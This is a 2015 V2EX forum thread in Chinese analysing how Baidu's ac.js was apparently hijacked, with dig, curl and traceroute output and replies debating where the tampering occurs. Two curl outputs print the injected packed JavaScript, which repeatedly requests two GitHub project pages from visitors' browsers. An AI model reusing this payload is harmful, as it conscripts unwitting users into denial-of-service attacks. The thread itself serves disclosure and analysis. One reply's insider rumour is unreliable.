V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
siyanmao
V2EX  ›  分享发现

本次 GFW 劫持百度脚本方式猜测

  •  1
     
  •   siyanmao · 2015-04-04 13:27:51 +08:00 · 3731 次点击
    这是一个创建于 3524 天前的主题,其中的信息可能已经有所发展或是发生改变。

    先说自己的结论。分析来看,有很大把握怀疑,本次GFW劫持的是百度海外CDN回国连接,并没有直接劫持用户到CDN的链接。直接给CDN投毒,比劫持用户链接恶劣而且隐蔽得多。

    坐标广东深圳,使用某JS位于peer1的VPN作为出口。VPN interface为tun0。8.8.8.0/24已默认走VPN。
    测试链接为http://dup.baidustatic.com/tpl/ac.js。

    百度统计国外CDN解析:

    [siyanmao@siyanmao-k29 ~]$ dig dup.baidustatic.com @8.8.8.8
    
    ; <<>> DiG 9.9.2-P2 <<>> dup.baidustatic.com @8.8.8.8
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51040
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
    
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 512
    ;; QUESTION SECTION:
    ;dup.baidustatic.com.           IN      A
    
    ;; ANSWER SECTION:
    dup.baidustatic.com.    2938    IN      CNAME   ecomcbjs.jomodns.com.
    ecomcbjs.jomodns.com.   59      IN      CNAME   ecomcbjs.wshifen.com.
    ecomcbjs.wshifen.com.   299     IN      A       180.76.3.138
    
    ;; Query time: 531 msec
    ;; SERVER: 8.8.8.8#53(8.8.8.8)
    ;; WHEN: Sat Apr  4 13:07:22 2015
    ;; MSG SIZE  rcvd: 126
    

    百度统计国内CDN地址解析:

    [siyanmao@siyanmao-k29 ~]$ dig dup.baidustatic.com @114.114.114.114
    
    ; <<>> DiG 9.9.2-P2 <<>> dup.baidustatic.com @114.114.114.114
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22259
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1
    
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ;; QUESTION SECTION:
    ;dup.baidustatic.com.           IN      A
    
    ;; ANSWER SECTION:
    dup.baidustatic.com.    5030    IN      CNAME   ecomcbjs.jomodns.com.
    ecomcbjs.jomodns.com.   30      IN      A       58.215.123.49
    
    ;; Query time: 25 msec
    ;; SERVER: 114.114.114.114#53(114.114.114.114)
    ;; WHEN: Sat Apr  4 13:10:10 2015
    ;; MSG SIZE  rcvd: 95
    

    在国内请求国内地址,尝试若干次,没有发现劫持现象。

    root@Cat_FireWall:~# curl --interface pppoe-pppoe_tel http://58.215.123.49/tpl/ac.js | grep github
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100   167  100   167    0     0   3036      0 --:--:-- --:--:-- --:--:--  3092
    

    在国内请求国外地址,发现劫持现象。

    root@Cat_FireWall:~# curl --interface pppoe-pppoe_tel http://180.76.3.138/tpl/ac.js | grep github
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100  1130  100  1130    0     0   2457      0 --:--:-- --:--:-- --:--:--  2456
    eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeout|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))
    

    在国外请求国内地址,尝试若干次,未发现劫持现象。

    root@Cat_FireWall:~# curl --interface tun0 http://58.215.123.49/tpl/ac.js | grep github
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100   167  100   167    0     0    243      0 --:--:-- --:--:-- --:--:--   243
    

    在国外请求国外地址,发现劫持现象。

    root@Cat_FireWall:~# curl --interface tun0 http://180.76.3.138/tpl/ac.js | grep github
      % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                     Dload  Upload   Total   Spent    Left  Speed
    100  1130  100  1130    0     0   1635      0 --:--:-- --:--:-- --:--:--  1635
    eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeout|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))
    

    附上traceroute结果:

    国内到国内:

    root@Cat_FireWall:~# traceroute -n -w 1 -i pppoe-pppoe_tel 58.215.123.49
    traceroute to 58.215.123.49 (58.215.123.49), 30 hops max, 38 byte packets
     1  -------------  3.759 ms  2.109 ms  2.328 ms
     2  -------------  8.620 ms  1.946 ms  17.896 ms
     3  58.60.24.33  2.590 ms  2.333 ms  2.451 ms
     4  183.56.66.2  3.262 ms  3.915 ms  183.56.65.86  3.690 ms
     5  202.97.47.165  26.488 ms  23.881 ms  28.291 ms
     6  61.160.130.50  25.855 ms  26.168 ms  24.748 ms
     7  *  *  *
     8  *  *  *
     9  *  *  *
    10  *  *  *
    11  *  *  *
    12  *  *  *
    13  *  *  *
    14  *  *  *
    15  *  *  *
    16  *  *^C
    

    国内到国外:

    root@Cat_FireWall:~# traceroute -n -w 1 -i pppoe-pppoe_tel 180.76.3.138
    traceroute to 180.76.3.138 (180.76.3.138), 30 hops max, 38 byte packets
     1  -------------  3.451 ms  2.017 ms  2.162 ms
     2  -------------  1.919 ms  3.072 ms  1.432 ms
     3  119.145.220.82  2.140 ms  2.300 ms  2.317 ms
     4  183.56.65.78  10.582 ms  1.811 ms  183.56.65.74  2.364 ms
     5  202.97.64.14  6.494 ms  202.97.64.90  6.247 ms  202.97.64.10  7.423 ms
     6  202.97.33.214  9.657 ms  7.747 ms  202.97.33.202  4.956 ms
     7  202.97.61.234  9.073 ms  7.286 ms  7.871 ms
     8  202.97.60.214  161.911 ms  164.494 ms  165.175 ms
     9  129.250.6.96  178.692 ms  173.779 ms  129.250.6.200  173.363 ms
    10  129.250.3.89  225.555 ms  129.250.2.121  224.995 ms  129.250.3.89  224.500 ms
    11  129.250.6.125  232.907 ms  129.250.6.115  241.194 ms  129.250.6.125  232.442 ms
    12  129.250.3.11  213.466 ms  203.131.246.146  209.703 ms  129.250.3.11  213.506 ms
    13  203.131.246.146  207.230 ms  211.049 ms  212.382 ms
    14  *  *  *
    15  *  *  *
    16  *  *  *
    17  *  *  *
    18  *  *  *
    19  *  *  *
    20  *  *  *
    21  *  *  *
    22  *  *  *
    23  *^C
    

    国外到国内:

    root@Cat_FireWall:~# traceroute -n -w 1 -i tun0 58.215.123.49
    traceroute to 58.215.123.49 (58.215.123.49), 30 hops max, 38 byte packets
     1  --------------  195.947 ms  197.496 ms  197.131 ms
     2  *  *  *
     3  216.187.88.137  198.443 ms  196.670 ms  216.187.88.37  196.077 ms
     4  4.53.230.5  218.506 ms  77.67.70.205  196.052 ms  201.644 ms
     5  4.53.230.5  205.076 ms  218.30.53.33  197.377 ms  4.53.230.5  231.133 ms
     6  4.69.152.17  210.480 ms  205.735 ms  *
     7  4.53.210.114  205.601 ms  4.53.210.110  204.958 ms  202.97.50.1  335.257 ms
     8  202.97.49.21  208.979 ms  202.97.35.105  363.427 ms  392.479 ms
     9  202.97.49.21  207.914 ms  202.97.33.29  343.229 ms  202.97.49.21  207.652 ms
    10  202.97.50.109  370.422 ms  202.97.35.105  373.707 ms  202.97.50.109  370.264 ms
    11  202.97.33.29  348.333 ms  347.784 ms  *
    12  202.97.39.94  350.945 ms  58.215.128.78  356.080 ms  *
    13  202.97.39.94  349.851 ms  *  352.852 ms
    14  202.102.19.146  382.604 ms  *  *
    15  *  *  *
    16  *  *  *
    17  *  *  *
    18  *  *  *
    19  *  *  *
    20  *  *  *
    21  *  *  *
    22  *  *  *
    23  *  *  *
    24  *  *  *
    25  *  *  *
    26^C
    

    国外到国外:

    root@Cat_FireWall:~# traceroute -n -w 1 -i tun0 180.76.3.138
    traceroute to 180.76.3.138 (180.76.3.138), 30 hops max, 38 byte packets
     1  -------------  183.651 ms  184.821 ms  184.487 ms
     2  *  *  *
     3  216.187.88.37  183.902 ms  *  216.187.88.137  185.452 ms
     4  216.187.88.61  185.633 ms  216.187.124.120  186.372 ms  206.72.210.114  186.115 ms
     5  216.187.88.57  188.105 ms  118.143.224.1  414.602 ms  216.187.124.120  185.231 ms
     6  118.143.224.9  419.347 ms  118.143.238.20  421.086 ms  118.143.224.9  421.095 ms
     7  218.189.31.102  422.702 ms  118.143.224.25  429.397 ms  118.143.238.20  415.053 ms
     8  *  218.189.5.20  419.124 ms  218.189.31.102  416.379 ms
     9  *  *  *
    10  *  *  *
    11  *  *  *
    12  *  *  *
    13  *  *  *
    14  *  *  *
    15  *  *  *
    16  *  *  *
    17  *  *  *
    18  *  *  *
    19  *  *  *
    20  *  *  *
    21  *  *  *
    22  *  *  *
    23  *  *  *
    24  *  *  *
    25  *  *^C
    
    27 条回复    2015-04-05 22:12:52 +08:00
    sdysj
        1
    sdysj  
       2015-04-04 13:33:30 +08:00
    技术烂还恶心,国家队就这水平了。。。
    yksoft1
        2
    yksoft1  
       2015-04-04 13:52:30 +08:00
    你意思是gfw并不是劫持所有访问百度国内CDN的流量,而是劫持百度国外CDN镜像与国内的通信么
    yksoft1
        3
    yksoft1  
       2015-04-04 13:56:16 +08:00
    不过这个推测也很可能是错误的,gfw在10年前就有DPI能力,完全可以做到访问百度国内CDN使用HTTP头来劫持,同时也劫持百度国外CDN镜像与国内的通信
    siyanmao
        4
    siyanmao  
    OP
       2015-04-04 13:56:34 +08:00
    @yksoft1 根据上面现象判断,GFW劫持百度海外CDN镜像与国内通信这种可能性最大,也是解释上面现象最简单的方法。
    i8s301a
        5
    i8s301a  
       2015-04-04 14:05:10 +08:00 via Android
    问一个可能很笨的问题,墙怎么区分一般海外用户的连接和海外CDN的连接?

    另外,通常CDN对静态文件都会有缓存,如果楼主假设是正确的话,这是不是可以说明为什么出现被劫持的js是时有时无的(一部分CDN内的缓存还没过期所以暂时没被投到毒)?
    yksoft1
        6
    yksoft1  
       2015-04-04 14:06:06 +08:00
    @siyanmao 不过问题是,前一段github被攻击的分析中,确实出现了TTL突兀的抢答包。如果之前也是这样的劫持方式的话,用户应该完全无法感知到通信遭到干扰啊,毕竟海外用户与百度海外CDN间是没有墙的。
    siyanmao
        7
    siyanmao  
    OP
       2015-04-04 14:32:16 +08:00
    @yksoft1 我抓了下包,从国内请求百度国外CDN似乎没有被干扰的迹象。TTL、IPID、TCP窗口之类的都处于正常模式,无论返回是否是污染过的内容,上面说到的特征字段也无明显区别,RTT都在220ms左右。加上GFW管不到国外,所以我觉得,劫持海外CDN回国链接的概率还是很大的。
    从之间的抓包来看,确实GFW有伪造返回。估计这次GFW变换了劫持方式,以免落下口实。
    siyanmao
        8
    siyanmao  
    OP
       2015-04-04 14:34:52 +08:00
    @i8s301a 没做过CDN。我猜测CDN回国链接的http头可能与一般用户连接有明显的不同。
    yksoft1
        9
    yksoft1  
       2015-04-04 14:38:02 +08:00
    @siyanmao 这次新一轮的劫持貌似还没有对github的访问造成影响,github这次貌似是请了个专业的防D公司Prolexic来顶着
    等这一次事情又闹大,洋人的分析就会比较麻烦了 也许你这篇文章会被翻译转载出去
    yksoft1
        10
    yksoft1  
       2015-04-04 14:39:59 +08:00
    @siyanmao 你抓包的时候提交的HTTP报头是完整包含域名的么
    siyanmao
        11
    siyanmao  
    OP
       2015-04-04 14:45:26 +08:00
    @yksoft1 Host是IP。没找到curl里面怎么改host……
    palxex
        12
    palxex  
       2015-04-04 15:32:41 +08:00   ❤️ 1
    。。。按这个测试结果,这个观察角度可不算最简单。更简单的角度是……180开头这个服务器对全世界返回的结果都是攻击github的,58开头这个对全世界都不是。
    kisshere
        13
    kisshere  
       2015-04-04 15:33:18 +08:00 via Android
    不要这么说,至少GFW算是工作效率最高的国企了,还记得曾经GFW在上海交大招聘那个帖子了么,人家都是招博士生,技术在国际上应该还是响当当的,是我们国家的骄傲
    infinte
        14
    infinte  
       2015-04-04 15:54:06 +08:00
    180.76.3.138 服务器居然是在国外,我从国内用 curl 'http://v2ex.com' --resolve 'v2ex.com:80:180.76.3.138' 测居然收到了 RST
    infinte
        15
    infinte  
       2015-04-04 16:01:22 +08:00
    在 koding 的虚拟机上测试

    curl 'http://v2ex.com' --resolve 'v2ex.com:80:180.76.3.138'

    没有观察到 RST,国内测试则发现了——这下好玩了,劫持者不是在国外用户和百度之间,而是在百度和国内用户之间,只不过因为国内用户不用这个 ip 而观察不到劫持现象
    infinte
        16
    infinte  
       2015-04-04 16:16:32 +08:00
    好玩的来了:用 v2ex 的 IP 测试

    ```curl.exe 'http://dup.baidustatic.com/tpl/ac.js' --resolve 'dup.baidustatic.com:80:104.238.160.183'```

    没有观察到劫持,也就是说,要么劫持者是针对百度的 ip,要么就是劫持行为已经停止,现在发现的内容篡改都是百度服务器被污染的结果
    infinte
        17
    infinte  
       2015-04-04 16:26:21 +08:00
    @siyanmao 前几天有报告说新浪的脚本被篡改也是类似的情况。看我的测试。
    @i8s301a 那种 CDN 后台的 HTTP 服务器应该不只一台,受影响的只有一部分服务器。
    infinte
        18
    infinte  
       2015-04-04 17:38:49 +08:00
    现在劫持消失,观察不到了。
    @yksoft1
    @siyanmao
    yksoft1
        19
    yksoft1  
       2015-04-04 17:47:57 +08:00
    @infinte 看来今天观察到的现象是一次实证实验
    swordfeng
        20
    swordfeng  
       2015-04-04 18:44:19 +08:00 via Android
    这些搞攻击的人都是被一把刀架到脖子上了吗。。。
    ryd994
        21
    ryd994  
       2015-04-04 19:25:40 +08:00 via Android
    @siyanmao curl --header 'Host: '
    infinte
        22
    infinte  
       2015-04-04 19:27:01 +08:00
    @ryd994 --resolve 更合适些,能模拟「用 hosts 改 ip」的行为
    asd234ddd
        23
    asd234ddd  
       2015-04-04 22:59:54 +08:00
    这个解析在哪里解析的?
    nvidiaAMD980X
        24
    nvidiaAMD980X  
       2015-04-05 01:13:14 +08:00 via Android
    @kisshere 我觉得GFW是工作效率最高的流氓机构………还有GFW怎么会是国家的骄傲呢?是熊猫国的骄傲吧!
    402645707
        25
    402645707  
       2015-04-05 01:21:01 +08:00
    主要是想吐槽,GFW根本什么都没干
    <引用>《反恐怖主义法》草案。据中国人大网公布的草案全文,第十五条拟规定,电信业务经营者、互联网服务提供者应当在电信和互联网的设计、建设和运行中预设技术接口,将密码方案报密码主管部门审查。未预设技术接口,或者未报审密码方案的,相关产品或者技术不得投入使用。已经投入使用的,主管部门应当责令其立即停止使用。在中华人民共和国境内提供电信业务、互联网服务的,应当将相关设备、境内用户数据留存在中华人民共和国境内。拒不留存的,不得在中华人民共和国境内提供服务。</引用>
    2015年3月某日
    百度收到CNNIC来检查海外服务器的通报,
    一大群人在门口等候,
    一堆领导带队一堆工程师来了,
    据不愿意透露姓名的林石公回忆称这次似乎和往常不一样,貌似是来搞中国现阶段国际化战略的。
    往常来抽烟喝酒打游戏的人居然进机房去了,貌似还接了根专线到CNNIC总部
    然后我们的海外广告系统就莫名其妙的多了好多流量,最高权限不在我们这,所以服务器的情况我也不了解......
    sanddudu
        26
    sanddudu  
       2015-04-05 07:52:58 +08:00 via iPhone
    @yksoft1 墙是双向的,如果国外用户访问国内网站,还是会经过墙
    yksoft1
        27
    yksoft1  
       2015-04-05 22:12:52 +08:00
    @sanddudu 我当然知道这一点,但是国外用户解析到国外的百度CDN,是不用经过墙的,因此这种情况下客户端不可能通过数据包的任何特征感知到不正常的包
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   4588 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 44ms · UTC 10:06 · PVG 18:06 · LAX 02:06 · JFK 05:06
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.